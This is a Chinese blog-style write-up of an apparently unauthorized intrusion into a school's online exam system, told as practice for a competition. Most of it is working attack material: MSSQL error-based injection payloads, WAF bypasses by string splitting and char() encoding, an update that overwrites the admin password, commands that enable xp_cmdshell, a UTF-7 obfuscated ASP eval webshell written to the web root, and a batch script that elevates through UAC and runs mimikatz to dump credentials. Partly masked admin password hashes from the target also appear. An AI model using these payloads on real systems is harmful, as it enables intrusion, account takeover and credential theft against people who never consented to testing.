记一次峰回路转、柳暗花明辗转反侧,相当艰难的渗透测试

大家好,这几天混的浑浑噩噩的,幼儿园还没开学,所以没有课,天天呆在实验室,逛着论坛,无所事事。1号突然想起原来有个web有post注入,但是sqlmap无法注入出东西。正好马上有个比赛,那我就练练手工吧。

0X00 收集信息


aspx + iis7.5的环境,那么首先看到iis7.5就想到解析漏洞了,目测没有php环境,解析漏洞是不可能滴。猜测数据库是sqlserver,当然在这里只是猜测,后面再继续看。然后这个考试系统应该是未开源的cms,搜索了一下这个cms的信息,网上450元一套。呵,估计老师为了偷懒买了一套这个系统来搭建的。那么我们先测试吧,前台我就不看了,因为我有账号,但是里面没有利用的点。看到图片下边的管理员登录了没?我们点进去看下。

 

0X01 后台系统


 

这个框,原来测试过,有验证码,sqlmap注入是不可能的了,而且在我用sqlmap黑盒测试的时候,发现有waf

 

那咱们不能硬钢,等缓缓。手工测试一下。 username 那里我们输入 payload

1' or @@version>0--

 

很好没有拦截成功报错 那么确定了

在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' 转换成数据类型 int 时失败。

mssql 2008的。

竟然有注入,虽然有waf,那么我们考虑两种情况

1.进入后台,找上传点,getshell。 2.尝试开启xp_cmdshell 然后运行系统命令。 3.查看当前用户,尝试写shell。

首先,我们知道有waf,这个waf虽然感觉版本比较老,但是如果操作太敏感,比如开启xp_cmdshell可能还是会拦截,我们知道上传getshell绕过waf比较多。那么我们尝试获取后台账号密码,然后找上传点。

0X02 获取账号密码


payload

1' or User_Name()>0--
在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

dba权限,嘿嘿,啥都别说,先获取库名,表名,字段名。 在这,我就直接上payload

1' or (select top 1 name from kaoshi.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('jc_AutoSave','jc_ErrorPaper','jc_ExerciseLog','jc_Library','jc_LoginItem','jc_Paper','jc_Permissions','jc_Subject','jc_System','jc_TestLog','jc_Unit','jc_User','jc_UserGroup','jc_Dbbak','Tmp_jc_Paper','Tmp_jc_User','jc_Zsd'))>0--

妈的,我以为在jc_User这个表里,但是经过测试发现,里面是前台用户数据。我直接猜测jc_admin

1' or (select top 1 COLUMN_NAME from kaoshi.information_schema.columns where TABLE_NAME='jc_Admin')>0--

 

很好,不拦截,出现了ID。后面的操作我就不多说。直接获取Adminusername和adminpassword的值了。 一共获取了如下用户的账号密码

admin
75F171870153XXXX5F83639829FFC6CD
wjh 
009711AF72XXXX07F9E799D783578A15
xxzx
97549AF8121XXXX934C822A84EC9E809
shenbo
574849F13XXXXC0D178E1D9B0547434E

admin和xxzx的密码无法解出,其他的能解,尝试登陆。。。

 

服务器的一些信息能获取。绝对路径D:\XXX\ 但是想点击数据库管理时,发现。没有权限。 

没有权限,能解出密码的用户都是低权限的管理,那么上传点呢???

 

 

唯一的上传点就是这个fck编辑器,在iis7.5下,getshell基本没戏。天啦噜,难道,我无路可寻。。。

0X03 修改密码

在这里我抽了四根烟,仔细梳理一下,现在低权限的管理没有权限对数据库管理。那么admin的密码又无法解出。怎么办呢?????

突然,初生牛犊不破虎,妈的,把admin的密码改掉。update注入尝试一下。最后后面获取了权限把密码在数据库那改回来。

构造

1';update jc_Admin SeT Adminpassword='009711AF72XXXX07F9E799D783578A15' WHERE AdminUserName='admin';--

密码就用wjh用户的md5密码。

 

妈的,狗有时候就在你最不想让它出来的时候出来要你一口。

经过测试,过滤了update。hex编码不行。这是我想到用存储过程。

execute('sql line')

payload

1';execute('upd'+'ate jc_Admin set Adminpassword= '009711AF72XXXX07F9E799D783578A15' WHERE AdminUserName='admin');--

把update拆开用+相连,嘿嘿,机制如我。

 

语法错误,这里我想了一个晚上,按理来说是没有问题的,waf也不拦截了。但是就是语法错误,这里我在群里问了一下。

 

好吧,没人理我,这里,我叫上我的数据库实验室的专家,我的好基友。

 

他一下来就帮我解决了这个问题。

原因是excute('sql line')中不能存在引号,那么,我们的语句咱们构造呢?

1';execute('upd'+'ate jc_Admin set Adminpassword= char(48)+char(48)+char(57)+char(55)+char(49)+char(49)+char(65)+char(70)+char(55)+char(50)+char(50)+char(66)+char(51)+char(53)+char(48)+char(55)+char(70)+char(57)+char(69)+char(55)+char(57)+char(57)+char(68)+char(55)+char(56)+char(51)+char(53)+char(55)+char(49)+char(53) WHERE AdminUserName=char(55)+char(57)+char(57)+char(68));--

用char() 哈哈,加号相连。(这里的数据我做了处理。知道原理就好了),同学们,你们看出来了吗?

Ok这个payload 过去,完美,成功修改。 登录看看。

 

什么???你的数据库操作和我想象中的不一样啊,我不执行sql语句吗???备份???你为什么不直接写数据库备份????欲哭无泪,好不容易登录进来,却是我不想要的结果。。。。

0X04 柳暗花明

但是admin登录进去还是有收获的。看到了mssql的密码,但是尝试连接,无法连接。没开外联。

那么,我又回到了起点。怎么搞。。

开xp_cmdshell 把。用post注入那丢payload

';EXEC sp_configure 'show advanced options',1;--
';RECONFIGURE--
';EXEC sp_configure 'xp_cmdshell',1;--
';RECONFIGURE;--

前面提到,我们知道网站的物理路径,直接写shell。

在这感谢landGray大佬,

';exec master..xp_cmdshell 'echo ^<%@codepage=65000%^>^<%+AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk-%^> > D:\XXX\1.asp' ;--

他的utf7 过狗很好用,感谢分享。

 

get,直接连接数据库,用mssql的xp_cmdshell执行命令。

 

嘎嘎嘎

系统权限,上传mimikatz

为了防止回显的意外

@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
if '%errorlevel%' NEQ '0' (
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

嘿嘿。。

 

你可能感兴趣的:(安全实战)